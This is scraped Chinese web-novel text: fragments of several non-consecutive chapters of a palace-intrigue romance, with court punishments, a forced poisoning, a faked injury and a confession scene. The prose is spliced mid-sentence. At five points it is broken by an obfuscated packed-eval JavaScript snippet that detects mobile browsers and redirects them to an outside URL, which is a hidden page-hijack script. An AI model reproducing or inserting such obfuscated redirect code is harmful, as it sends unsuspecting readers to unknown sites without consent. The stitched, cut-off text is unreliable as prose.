但,他这种人蛇鼠两端哪有什么忠心,受了如此奇耻大辱,随时会背刺。 厉无恙居高临下的看着他,视线落在江闻舟脸上的纱布上,扭头看向云筝。 云筝眨了眨眼睛,无辜极了。 厉无恙微微蹙眉,她行事太过冲动,**不打脸,伤人不伤在明处,这落下把柄了。 “江世子,听说你要告御状,要状告本王?” 江闻舟脸色大变,“九千岁容禀,绝无此事,我对九千岁向来仰慕。” “仰慕本王什么?” 江闻舟心中厌恶至极,却舔着脸讨好道,“你气度不凡,英姿勃发,行事果断利落,是我辈楷模。” “口不对心,该打。”话音刚落,厉无恙就一拳打在江闻舟脸上,刚愈合的伤口又一次裂开,将纱布染红了。 江闻舟只觉得脸部剧痛,心底升起一股惧意,他不会是毁容了吧?啊啊啊,不要啊! 厉无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15794660|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恙 冷笑一声,“废物。” 一鞭子抽向叶宜蓁,娇生惯养的叶宜蓁从未受过这样的苦,皮开肉绽,疼的死去活来,“啊。” ”疼,好疼,别打了,我真的不知道。” 王嬷嬷又气又急,又心疼,“不要打我家小姐,她真的什么都不知道,你们不能屈打成招。” 又一鞭子抽下去,叶宜蓁疼的撕心裂肺,眼睛翻白,快要晕过去了。 江闻舟猛的扑过去,紧紧抱住叶宜蓁的身体。 鞭子狠狠抽在他身上,他发出一声闷哼,豆大的汗珠滚落下来。 云筝挑了挑眉,冷笑一声,“好一个夫妻情深。” 厉无恙心底升起一丝异样,“云大小姐,你是受害者,你认为该如何处置他们?” 江闻舟如同听到了特赦,情绪激动不已,“云筝,看在夫妻一场的份上,帮帮我吧,我敢担保,蓁蓁只是嘴硬心软,不是那种心狠手辣之辈。” “只要你放过蓁蓁,你刺杀我一事,我不会追究了,以后我们三个好好的过。” 那是不可能的,只要熬过此劫,他会送这些人都**! 叶宜蓁强打起精神,可怜兮兮的哀求,“云筝,虽然我不知情,但没有管好下人,是我的错,我向你道歉。” 云筝心中快意,面上却游移不定,“真的不是你?” 叶宜蓁拼命抓住机会,“我发誓,如果是我,就让我天打雷劈,不得好死。” 等她发了誓,云筝才慢悠悠的开口,“我不信这个的,你不用发誓。” 叶宜蓁心里气的骂娘,那你倒是早说啊。 云筝笑容甜美,却说出冷酷至极的话,“只要你亲手杀了王嬷嬷,证明你是清白无辜的,那,我就既往不咎。” 这话一出,全场静的出奇,齐刷刷的看向云筝。 她是怎么用最甜美的笑容,说出最残忍的话? **诛心,莫过于此,此女太狠了! 云筝笑的更甜了,“杀?还是不杀?” 这是绝户计!一箭双雕的绝户计!叶宜蓁惊恐的睁大眼睛,一股寒气从脚底升起,迅速往四肢蔓延,遍体生寒…… ? 第78章 **,快护驾 千珍阁,被一群手持木棍的男人团团围住,负责安保的明镜司拼命拦住他们。 江闻舟站在门外大声叫嚣,“云筝,你给我滚出来。 “你不守妇道,抛头露面,让我平西侯府羞辱,身为你的夫君,我不再姑息。 一声又一声,刻薄又尖酸,全然是豁出去了。 谷雨大人走了出来,神色肃穆,冷冷的警告道,“江二公子,里面在举行拍卖会,你这般惊扰会场,可不大好。 最关键的是,皇上在啊,一动手就会被视为谋逆。 江闻舟落到这种地步,名声全毁,世子位旁落,没有了顾忌。 他只有一个念头,就是在云筝飞黄腾达之前毁了她。 所以,特意选择了今日,当着所有商贾的面,斩断云筝所有的后路。 她想借着拍卖会,得到皇上的青睐,做梦! ‘“我才不管这些,我只知道我的妻子不安于室,整天跟无数个男人厮混,我要将她带回去,家法处置。 “谷雨大人,请让开。 谷雨看着疯狂的男人,眼中闪过一丝莫名的冷芒,“江二公子,我劝你一句,速速退开,锦云乡主在办大事,你不能惊扰她。 他越是这么说,江闻舟心中的仇恨就越强烈,云筝毁了平西侯府,毁了他,她休想有好日子过。 “来人,跟我一起冲进去。 他一声令下,家将们不管不顾的往里冲,“冲啊。 这些都是养在郊外农庄的家将,他们的祖先曾经跟随第一代平西侯南征北战,立过功劳,子子孙孙都是平西侯府的家将。 到了这一代,还秉承祖训,保持锻炼,但早就不复往日威风。 养士是很烧钱的,侯府的日子越来越拮据,他们的待遇就越差。 侯府的下人能跑,但他们这些家将怎么跑?他们世代都是靠侯府庇护供养,刻上了侯府的烙印。 他们的命运跟侯府休戚相关。 脱离了侯府,是没办法活下去的。 他们什么都不会,别家也不可能收留侯府的家将。 直到几天前,他们彻底断了供养,没钱了! 这一切全是因为那个该死的锦云乡主。 身为平西侯 府的儿媳妇,却没有将嫁妆拿出来养夫家,还上交了! 不可原谅! 明镜司的人严阵以待,见他们冲进来,立马举起武器抵抗,两方战成一团。 江家的家将还是有点实力的,打的难分难解。 室内,众多富商吓白了脸,缩在角落里躲着,刀剑无眼啊。 “天啊,居然打起来了,好可怕,勋贵们平时就是这样闹腾的?” 一言不合就抄家伙干架,好凶残。 有人说道,“也不能怪江二公子,谁家媳妇抛头露面,不安本份,哪个男人受得了?” 云筝太强了,压的他们喘不过气来。 “我也觉得锦云乡主做的不对,行事太过高调,没妇德,没教养,让夫家的脸面往哪里搁。” 也有消息灵通的富商闭口不谈,免得惹祸上身。 锦云乡主背靠九千岁,性格张扬,可不是吃素的。 “不会打进来吧?赶紧让锦云乡主出去解决问题。” 有人吼了一声,“锦云乡主,你快出来,你夫君喊你回家。” 话音刚落,云筝带着侍卫们慢悠悠的从包厢走出来,神色淡然,像个无事人般。 这一份处事不惊的气度,让人叹为观止。 云筝走下楼梯,一步步走向大门口,看着这一团混乱,嘴角轻轻扬起。 她还在想怎么收拾江闻舟,没想到,他居然主动送上门找死。 “这么热闹呀。” 江闻舟听到声音,猛的回头,“云筝,你总算出来了,跟我回去。” 他想冲过来捉拿云筝,但,中问隔着明镜司的人,还有紫烟等一众侍卫,他没法冲突阻拦。 云筝冷眼旁观,好家伙,出动这么多家将,怎么敢的? “江闻舟,你发什么疯?在京城械斗是要被抓起来的。” 更何况,他们冲击的是朝廷组织的拍卖会,罪加一等。 “这不是械斗,是执行家法,若不想造成无辜之人的伤亡,就赶紧跟我回家。” 江闻舟撇的干干净净,也算是想明白了,软的不行,就来硬的。 她是他娶进家门的女人,一生荣辱和生死都系在他身上。 他想让她生就生,想让她死就 死,别人管不着。 他唯一顾忌的就是九千岁,所以,趁九千岁不在时,快刀斩乱麻。 等造成既定事实,一切尘埃落定,九千岁也无可奈何。 云筝将他的心思看透了,不禁气笑了,“我要是不回去呢?” 就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15794701|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道,他怎么忽然发疯? 江闻舟冷笑一声,“我已经派人去捉拿你父母,到时,出了什么意外,就不要怪我。” 云筝脸色大变,惊怒交加,“江闻舟,你敢!” 江闻舟得到了诡异的满足感,“这是你逼我的,云筝。” 云筝愤怒的问道,“你想要什么?” 江闻舟得意的笑了,原来,她也有害怕的时候。 他拿出一张财产转让契书,附上长长的清单。 “千珍阁,宝翠斋,京城的二十家店铺,十家田庄和两幢陪嫁大宅院,还有江南的六万顷良田,签了这契书,我就放了你父母。” 这些都是云家的产业,值个几百万两银子。 有了这一笔钱,平西侯府就能起死回生,他又能成为风流倜傥的贵公子。 云筝闭了闭眼,掩去复杂的情绪,再睁眼时,清冷的可怕,“我若是不签呢。” 江闻舟的眼神充满了志在必得,不签也得签! “那就等着替你父母收尸吧。” 他大手一挥,得意志满,“云筝,你要想你父母活着,就乖乖走出来,任由我处置。” 云筝站着不动,眼神古怪极了,忽然,她扬声大叫,“平西侯府刺杀皇上,救驾,快救驾。” 所有人的寒毛都竖了起来,什么?皇上在这里? 妈呀,如果是真的,那就是**圣驾,刺杀皇帝!诛九族的大罪! 江闻舟打了个冷战,随后勃然大怒,“云筝,你发什么疯?别以为胡乱嚷嚷,就能脱身。” 云筝转过身体,看着包厢,大喊一声,“皇上,江二公子带数百家将**您,这是要**啊。” 江闻舟气笑了,说的跟真的一样,皇上怎么可能出宫?又怎么可能在这里? “呵呵,云筝,你喊破喉咙也没用,今日,谁都救不了你。” 云筝听而不闻,喊的更响亮,“皇上,您再不出来,他就要诛杀整个皇族了。” 江闻舟脸都绿了,“闭嘴,皇上是你喊一声,就能喊出来的吗?开什么玩笑?” 话音刚落,包厢的窗子打开,几道身影出现在窗边。 一道怒喝声响起,“谁这么大的胆子,敢刺杀朕?” 江闻舟猛的抬头望去,熟悉的身影映入眼帘,他如遭晴天霹雳,浑身剧颤,脸色瞬间变的如**般惨白。 “皇……皇上……” ? 第112章 **和**,选一样吧 厉无恙神色冰冷,“纪族长,你若处理不好此事,那就呈上去,请皇上亲自圣裁。 谁都知道,皇上最厌恶这种丑事。 纪家族长吓出一身冷汗,拼命摇头,“皇上日理万机,这种家务事就不劳烦皇上了。 这可不是一般的丑闻,把皇上恶心到了,纪家就要倒大霉。 纪芳菲还在眼巴巴的哀求,“九千岁,您娶我吧,救人一命胜造七级浮屠。 谷雨忍无可忍,“残花败柳也敢觊觎我家王爷?你也配?不知廉耻。 纪芳菲听而不闻,全然豁出去了,深情款款的告白。 “九千岁,我从小就喜欢您,只想嫁给您,求您念在这一片真情的份上,救救我。 对于痴恋自己的女人,男人就算不喜欢,也会有一种莫名的心软。 纪芳菲眼中含泪,楚楚可怜,“我不要名份,只要能在王爷身边侍候,我就心满意足了。 云筝撇了撇嘴,纪芳菲的小心思真多,明知不可能嫁给厉无恙,还玩这套把戏。 先提一个过分的要求,再提一个小的要求,这样同意的机率大,这叫让步术。 先是求嫁,被拒后退一步。 不求娶,不求纳,只求随侍一侧,够卑微了吧,只要九千岁动了一点恻隐之心,她就能全身而退。 留得青山在,不怕没柴烧。 若是能留在九千岁身边,那更好了,总能找到机会翻盘。 这世上大部分男人怜香惜玉,都会心软。 但,九千岁可不是一般人,“本王嫌脏。 纪芳菲脸色惨白如纸,心中恨意如野草般疯长。 “王爷为何对云筝一个弃妇如此爱护,却对我如此刻薄? 厉无恙神色清冷的可怕,“她不是弃妇,她坦荡,勇敢,赤诚,热烈,跟你们截然不同。 “最重要的是,她很有用,于国于民于朝廷于军队,都有用。 所以,你凭什么跟她比呢? 云筝心里美滋滋的,她在九千岁眼里就这么好? 纪芳菲如被狠狠打了一巴掌,“王爷,我和她到底哪里不同? 她自问出身高贵,祖父这一代也曾辉煌过。 云筝呢? 不过是一个商贾之女祖祖辈辈都是贱民。 云筝翻了个白眼说到底她不愿意承认输给一个商贾之女。 厉无恙神色一冷“你心思阴暗的废物。” “她是皇上认可的栋梁之才。” 非逼他将话说的这么难听她自找的。 纪芳菲难堪到了极点“不就是会挣钱吗?商贾小道而已浑身铜臭……” 厉无恙没有了耐心“既然如此那本王直接将此事报给皇上。” 纪族长不禁急了“不不不王爷开恩让我来处理。” 他让人端来**和毒酒“纪芳菲纪七你们选一样吧。” 两人吓的瑟瑟发抖纪芳菲眼泪都下来了“嫂子救我。” 永宁长公主眉头紧皱 纪家族长犹豫了一下他并不想将永宁长公主得罪**下意识的看向厉无恙。 厉无恙冷冷的看着他们像看着一群跳梁小丑。 纪家族长心一沉九千岁不肯高抬贵手。 “你们俩以死保全家族的清名。我会将你们葬在祖坟不会让你们成为孤魂野鬼。” 但两人坚决不肯自尽。 纪家族长见状挥了挥手“送他们一程。” 族人们上前执行按住两人的身体拿起**往嘴里灌。 两人拼命反抗现场一片混乱其他人默默远离。 眼见**就要被灌进嘴里两人心生绝望之际永宁长公主再也忍不住了“统统住手谁敢动他们就是跟本宫过不去。” 她还让手下们过去阻拦。 厉无恙嘴角轻扬她终于站出来了证据确凿。 “谷雨。” “属下在。” 厉无恙下令道“将这里的事报给皇上。” “是。”谷雨应了一声飞奔而去。 永宁长公主脸色微变有种不好的预感。 早不早晚不晚偏偏在她站出来后上报这是巧合吗?怎么像是专等她站出来? 难道他知道了那个秘密? 不不可能的那 是四十年前的事了,他不可能知道。 纪家人吓坏了,苦苦哀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其他人也很震惊,你反对归反对,怎么能搞刺杀? 以武犯禁,向来是大忌。 政敌之间斗的头破血流,也不能**,否则,将永无宁日。 皇上更是震怒,“首辅,是你指使康瑞刺杀锦云郡主? 首辅在心里暗暗叫苦,面上却露出无奈之色,“皇上,康瑞是我次子的学生,我也见过几次,但我平时公务繁忙,跟他来往不多,还请皇上明鉴。 他的次子是个书呆子,不是当官的料,所以,他索性将人安排进了国子监当一名博士。 不用担心,还能收获一批优秀学生,将来还能反哺一二。 可,人算不如天算。 厉无恙冷冷的声音响起,“哦,是不多,就是想将孙女嫁给他。 众人:……!!!好家伙! 皇上冷笑一声,“首辅,你怎么说? 首辅闭了闭眼,就知道什么都瞒不过明镜司。 但,他能稳坐首辅之位,自有过人之处。 他苦心经营了一张大网,上下串连,朝堂上有不少是他的人。 “臣的儿子是有这个心思,但……一切还未定。 康瑞虽出身寒门,但聪明机灵,很会读书,为人处事都不错,而自家子孙平庸,他不得不多准备几条后路。 康瑞就是他看中的后路之一。 子孙不行,就提携后辈,挑优秀的女婿和孙女婿,他助他们平步青云,他们护他家周全。 这是利益交换。 厉无恙冷声道,“可,人家咬**,是你一手筹划的。 首辅的脸色终于变了,这一次居然看走了眼? “荒唐,我图什么? 厉无恙义正言辞的指责,“你看锦云郡主不顺眼,你想毁了她。 首辅心思飞转,大声叫屈,“她就算当了女官,对我有什么妨碍?我至于自毁前程,刺杀她吗? 这话言不由衷,这次闹的这么大,百官在殿外跪求,就是他幕后主使的。 他,一直觉得云筝是个不安定因素,不能让她入仕,不能让她破坏规则。 厉无言将几份供词双手呈上,“皇上,这是 嫌犯的供词。 皇上勃然大怒,将供词扔在地上,“首辅,你自己看。 首辅捡起供词,看完后不禁后背发寒,“这王八蛋,居然敢陷害我! 咬**是他主使的,是他安排的骚乱,是他安排的学子**郡主府,是他让人谋害郡主。 他打了一辈子雁,被雁啄瞎了眼睛,临老被人摆了一道。 他扑通一声跪倒在地,颤颤悠悠的解释,“皇上,我是暗示了几句,让康瑞对付锦云郡主,但绝对没有让他搞刺杀。 “老臣再糊涂,也不敢开这个先例。 今日他敢对政敌下死手,他日,别人敢刺杀他。 “皇上,老臣敢跟他当面对质。 厉无恙冷冷的看了他一眼,这老家伙还觉得自己委屈?呵。 皇上脸色铁青,“若锦云郡主有事,所有卷入其中之人,皆从重处理。 “是。 皇上一声令下,明镜司动了起来,抓捕了一大批人,包括文武官员,国子监**锦云郡主的师生,一个都逃不了,明镜司的大牢关满了人。 首辅被停职,接受调查,他的儿子被抓,无人敢出手相救。 一时之间,风声鹤唳。 这个时候,大家只能向苍天祈求,求锦云郡主平安脱险,千万不能有事,否则,将是一波腥风血雨,杀的人头滚滚。 不得不说,这是一个天大的笑话。 之前,还恨不得云筝**,这会儿,只求她平平安安的活着。 “只要她活着,我再也不管她的破事,她爱咋地就咋地。 “不就是当个女官嘛,那是内务府,是皇上的后花园,跟朝廷是两个体系,没必要那么较真。 “就是,何必闹出人命呢。 而,被所有人惦记的云筝躺在床上,一动不动,两眼紧闭。 整个太医院为了救治她,三日三夜没合眼,给出了无数套救治方案,都要疯了。 皇上有令,若救不活锦云郡主,他要挑几个太医陪葬。 太医们急的团团乱,“怎么还不醒?我看气息已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979647|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平稳了啊。 有的太医心急如焚,嘴角都长火疖子。 “郡主心脉伤的太严重,哎。 一名太医轻声嘀咕,“不让我们贴身救治,就算出事,也怪不到我们头上吧。” 太医都是男子,锦云郡主是女儿家,男女授受不亲,只能把把脉,开方子,煎药。 像,扎针,刺穴,推宫,喂药,这些贴身的活都由云家的府医和丫环合力完成。 医正心情沉甸甸的,“云家府医的医术不在我们之下,要不是他一手金针刺穴秘法,及时止住心脉四周的穴位,恐怕……凶多吉少。” 正说话之间,里面一片喧哗,所有太医猛的站起来,神色紧张万分。 里面出事了? 医正急急的问道,“出了什么事?郡主可好?” 太医们的心绷的紧紧的,额头渗出汗珠,不会是……千万不要啊。 房门打开,丫环春华走出来,面带微笑。 “郡主醒了,安大夫请各位进去把脉。” 众太医欣喜若狂,醒了? 大家轮流把脉,又惊又喜,“恭喜郡主,脱离了危险,以后好好养着,必能否极泰来。” 云筝面色苍白,很没有精神,说话有气无力,“多谢。” 但不管如何,她醒了! 完成任务,太医们迫不及待的回去复命,这破地方再也不想来了。 临走前,云展鹏送上重金酬谢,“这是给各位的谢礼,还请收下。” 好家伙,一人一箱子元宝,数了数,有一千两。 太医看着厉害,其实是给宫廷贵人看病的下人,俸禄并不高。 这一千两将近十年的俸禄了。 大家顿时喜上眉梢,云家就是大方,不枉他们在云府守了这么久。 所有的辛苦都是值得的,嗯,这地方还是能再来的。 宫中,侍卫禀道,“皇上,医正前来复命。” 皇上精神一震,“让他进来。” 医正走进来,恭恭敬敬的行了一礼,“禀皇上,锦云郡主醒过来了,也脱离了危险,但……” 皇上的心一紧,“说。” 第175章 九千岁深夜表白 医正神色紧张,小心翼翼的开口,“郡主心脉受损严重,恐怕天不假年。 天不假年?皇上脸色大变,“能活多久? 医正轻轻叹气,锦云郡主确实是难得的人才,可惜,是个女子。 “少则五年,多则十年。 皇上心痛如绞,五年?十年?怎么够用?他的钱袋子啊。 “大伴,开库房,挑一批珍稀药材和补药送往锦云郡主府。 “是。 “让睿亲王杀一批人,秦天宝,康瑞这些首恶处以极刑,杀一儆百。 “是。 皇上还是余怒未消,“首辅……朕体恤他年老体衰,让他休息两个月。 大太监心中暗惊,皇上这是气疯了啊,“是。 这哪是体恤老臣,分明是想看看,没有首辅在朝,这朝堂能不能顺利运转。 能的话,首辅就没有必要存在了,换人上。 等送走太医们,云筝翻身而起,伸了个懒腰,随手擦去脸上白色的脂粉。 “总算都走了,累死我了。 她生虎活虎的跳了跳,大声嚷嚷,“娘,我要吃肉!烤肉! 这三日什么都没吃,好饿,她容易吗? 云母慈爱的摸摸她的脸,“我家筝儿都饿瘦了,不过,安大夫说,你饿了三日,只能喝粥,不能暴饮暴食。 云筝撇了撇嘴,极为不甘心,只喝粥啊? 算了,那就多喝两碗。 喝完粥还吃了甜品,吃的极为尽兴。 但,一不小心吃撑了,睡不着,只好爬起来在院子里消食。 今晚的月亮真圆啊,像咸蛋黄,想吃。 厉无恙潜入云家,就看到云筝盯着月亮发呆,长发飘飘,皎洁的月光下,精致明艳的容颜仿若天人。 他一时看痴了。 她在看月亮,他在看她。 一阵夜风吹过,云筝打了个喷嚏。 一件披风罩在她身上,她吓了一跳,回过头,看到熟悉的男人,嘴角轻轻上扬。 “王爷,这么晚了,您怎么来了? 厉无恙帮她将披风的带子系好,拢了拢秀发,关心的看着她的脸色,“还好吗 ? 虽然,他将暗卫放在云府,时刻关注着云筝的一举一动,但,还是会担心。 他想亲眼看一看。 云筝有些不自在的朝后退了退,不动声色的看了一眼他笔直的双腿,不装瘫子了? “我穿了你送的金丝宝甲,一点事都没有,就是睡了三天三夜,睡的骨头疼,一口粥都没喝,好惨啊。 这是计中计,局中局。 云筝就是那个鱼饵,钓出那些居心叵测的人,瓦解所有的攻势。 她吃了鬼医特制的药,一睡就是三日,这三日全是鬼医和紫烟把控的,云母负责贴身照顾女儿。 云父则负责对付那些太医们,而厉无恙负责打掩护。 厉无恙神色凝重,“以后,不要以身犯险了,不值得。 云筝笑眯眯的开口,“没有危险,我不会有事的,我都算好了,这是为了永绝后患呀。 “各方要是知道我活不长了,应该对我很宽容吧。 她将计就计,借机灭了那些心怀不轨的家伙,还给自己立了个病弱的人设,一箭双雕。 以后谁还会针对一个注定早夭的弱女子?多没气量! 忍呗,忍个几年就过去了。 几年又几年,要是人家怀疑,那就一句,我家有钱啊,搜罗天下秘方保命,可还行? 厉无恙没好气的白了她一眼,“别胡说,你会长命百岁的。 云筝眉眼弯弯,眼中全是得意之色,“嘻嘻,以后谁敢对我大声些,我就装病晕倒,看谁还敢? 此时的她,褪去张扬和凌厉的外表,更像个恶作剧成功的小姑娘。 看把她得瑟的,厉无恙嘴角抽了抽,“调皮。 云筝摸摸胸口,“鬼医的医术实在高明,居然没有露出一丝破绽,连医正都糊弄过去了。 鬼医弄出来的脉相,滴水不漏,硬是瞒过了一众太医。 厉无恙淡淡的道,“人的名,树的影,盛名之下无虚士。 两人并肩站在月下谈心,气氛极为融洽。 忽然,云筝想起一事,“对了,金丝宝甲还没给你,我去取来。 那真是宝贝,刀枪不入,水火不浸,是行走江湖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979648|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最佳护身神器。 厉无恙微 微垂眸,“不用,送你了。” 云筝摆了摆手,“不不不,您是明镜司之主,整天打打杀杀,遇到的危险比我多,以后也没人敢对我下手。” “再说,我的命没有您金贵,您可是一人之下,万人之上的九千岁。” 不是她妄自菲薄,而是现实。 若他有事,必是一场腥风血雨,云家未必能屹立不倒。 她转身就往回走,厉无恙一把拉住她的手,“云筝,你的命很珍贵,比谁都珍贵。” 云筝随口开了一个玩笑,“难道比您还珍贵?” 谁知,却等来了坚定的回答,“是。” 云筝猛的回头,呆呆的看着他,像揣了只活泼的小兔子,上上下下蹦跶得厉害,“王爷,你……别开玩笑了。” 月光下,俊美的男子神色严肃,认真凝视她的眼睛,“云筝,我心悦你。” 轰隆隆,云筝心底掀起巨浪,声音颤抖,“你……你知道自己在说什么吗?你是不是喝醉了?” 男人的眼睛灸热,直白而又热烈,“我很清醒,我,厉无恙,心悦云筝。” 他一直在克制自己的感情,但,经过这一次的生死考验,忽然觉得什么都不重要,及时行乐,不要让自己后悔。 在云筝看来,这只是一场戏,但她不知道,这几日对厉无恙来说,度日如年,受尽煎熬。 他怕,弄假成真!怕出了纰漏! 云筝心跳声如轰鸣,脸色通红,好像火烧云,心底却情不自禁的升起一丝甜意。 男人紧紧盯着她的眼睛,手心直冒汗,心提到喉咙眼,“你呢?” 云筝的小脸绯红,但尚有几分理智,“你是睿亲王,手握大权,而我有钱,皇上不会让我们在一起的。” 厉无恙以前只想默默守着她,只要她幸福就好,可现在发现,他做不到。 喜欢,就是独占,想将她牢牢的锁在自己身边,而不是把她交到别的男人手上。 “你想跟我在一起吗?” 云筝沉默了半响,“这是我能决定的吗?” 厉无恙强势而又霸道,“想,还是不想?” 第176章 云筝,你也喜欢我,对不对 云筝嘴唇紧抿,定定的看着他,看的厉无恙心慌意乱,心中惴惴,手心冒汗。 不知过了多久,云筝用力点头,“想!” 其实,她的戒心很重,除了家人外,对别人都很防范,却唯独依赖他,信任他。 不知何时起,她喜欢而不自知吧。 她选择坦然的面对内心真实的感受,爱恨随意,热烈的爱,激烈的恨。 厉无恙的眼睛瞬间亮了,喜悦如潮水般涌上心头,心花怒放,“你说想!云筝,你也喜欢我,对不对?” “是。”云筝虽然羞红了脸,但,很勇敢的吐露心声,“我也心悦王爷。” 这话一出,气氛立马变了,空气也变的粘乎起来,春夜情动,温柔而又甜蜜。 厉无恙满心的欢喜,“我这就去请旨,求皇上赐婚。” 云筝一把拉住他,“别急,我的话还没有说完。” 厉无恙满眼的温柔,“你是怕皇上不同意?我有办法,一切都包在我身上。” 云筝无声的叹息,“怎么处理?皇上的猜忌心有多重,你又不是不知道。” 厉无恙轻轻握着她的手,软软的,小小的,他都不敢用力。 “你什么都不用管,这事我来操作,我会风风光光的迎娶你过门,让全天下的人都羡慕你。” 云筝神色严肃,“王爷,不仅仅如此,而且……我好不容易走到这一步,可以一展拳脚,我不想放弃。” 她不是矫情,而是,太清醒了。 厉无恙立马明白她的意思,急急的说道,“跟我在一起,也可以当女官,我会全力支持你。” 不管她想做什么,他都会支持她。 她跟别的女孩子不一样,有独立的思想,有主见,聪慧和果决。 还有让他移不开眼的勇气。 云筝苦笑一声,“不一样的,跟你在一起,世人都会认为,我只是你的附庸,再成功也不是自己的本事,而是你的功劳,是你托举了我。” 云家女当官和睿王妃当官,性质完全不一样。 “所以,我要强大,被世人认可,被人仰望,堂堂正正的站在朝堂。” 她顿了顿,神色有些复杂,“当然,我知道我很自私,你还有机会重新选择的。” 虽然嘴上这么说,但,她很贪心,什么都想要,事业想要,权势想要,男人也想要。 她这么好,这么优秀,鱼和熊掌为什么不能兼得? 厉无恙抿了抿嘴,“我很生气。” 什么叫重新选择?他是随意轻浮的男人吗?她就这么不相信他? 云筝眼珠一转,“要不……你打我一下?” 她主动将小脸凑过去,眼波流转之间,满是精灵古怪之色。 灿若明珠的小脸就这么靠近,厉无恙的心不禁狂跳,情不自禁的伸出右掌。 云筝下意识的闭眼,不是吧,他真打?那她要生气了! 忽然,脸颊传来一阵温暖,她微微睁眼,男子专注的看着她,眉眼含情,大掌轻抚她的脸蛋。 一下,又一下,轻轻的,温柔而又珍惜。 被他触碰的地方好像有电流穿过,酥酥麻麻的,感受到前所未有的欢愉。 “王爷。” 夜光下,厉无恙目光专注而又深邃,“叫我的名字。” 云筝脸颊泛起一丝红晕,白嫩的耳朵红的滴血,“无恙。” 空气中弥漫着淡淡的花香,两人的呼吸交织在一起,心跳仿佛融为一体,迷离而又暧昧。 厉无恙嘴角轻扬,“以后就这么叫,我爱听。” “云筝,你是我此生唯一的选择。” 在她出现之前,他从未想过成亲,他以为会孤独终老。 可,她出现了,是他晦暗人生中唯一的亮光。 “我会等,等到时机成熟的那一天。” 在这之前,他会扫平一切挡在他们中间的障碍。 云筝心软软的,这才是她想要的偏爱,不管何时,都坚定选择她的男人。 而不是权衡利弊后的取舍。 “那,三年为期。” 对她来说,三年足够了,以她的能力,三年的时间足以让她站到高位。 厉无恙没有犹豫,执起她的手,眼中全是深情,“好,三年就三年,我等你。” “唯,愿得一人心,白首不相离。” 那一瞬间,烟花仿若在心间绽放,云筝心跳如雷,“与君两相依,终老不相弃。”注(1) 夜色皎洁如银,长长 的街头安静无人,一辆马车驰过。 谷雨时不时的偷看主子一眼,主子这是遇到了什么好事? 向来严肃的脸居然有了松动,嘴角一直轻扬,整个人都柔和了。 有点害怕! “王爷,最近朝中风声鹤唳,首辅告病,他的门下四处奔走,您看?” 厉无恙淡淡瞥了他一眼,“撒出去的网该收了,动手吧。” 谷雨心里一凛,“是。” 深夜,叶府,假山凉亭。 叶宜蓁站在凉亭里,冷冷的看着跪在地上的黑衣人。 “不是说,云筝这次死定了,那箭正中她的心窝,她必死无疑吗?现在怎么解释?” 黑衣人额头渗出汗珠,“这次她命大,逃过一劫,不过她伤了心脉,也活不了多久。” 叶宜蓁眼中全是仇恨,“我等不了那么久,再找人去刺杀她。” 黑衣人小心翼翼的劝道,“我们刚折了一把上好的刀,如今明镜司全体出动,四处缉拿要犯,眼下不是行刺的好时机。” 他顿了顿,“主子,让她痛快的死去,那是便宜了她,不如让她常年缠绵于病榻,时时面对死亡的威胁,日日活在恐惧中,那才是凌迟之苦。” 这话打动了叶宜蓁,面色稍霁,“你说的有几分道理。” 她越想越得意,“云筝,你自以为聪明,其实,被我耍的团团转,我只要略施小计,你就万劫不复。” “这就是跟我作对的下场,哈哈哈,云筝,我要你生不如死!” 黑衣人暗暗松了一口气。 叶宜蓁看了过来,“你最近不要来了,免得被那些鹰犬盯上。” “是,” 黑衣人转身就要离开,忽然,一支长箭袭来,射向他身边的叶宜蓁。 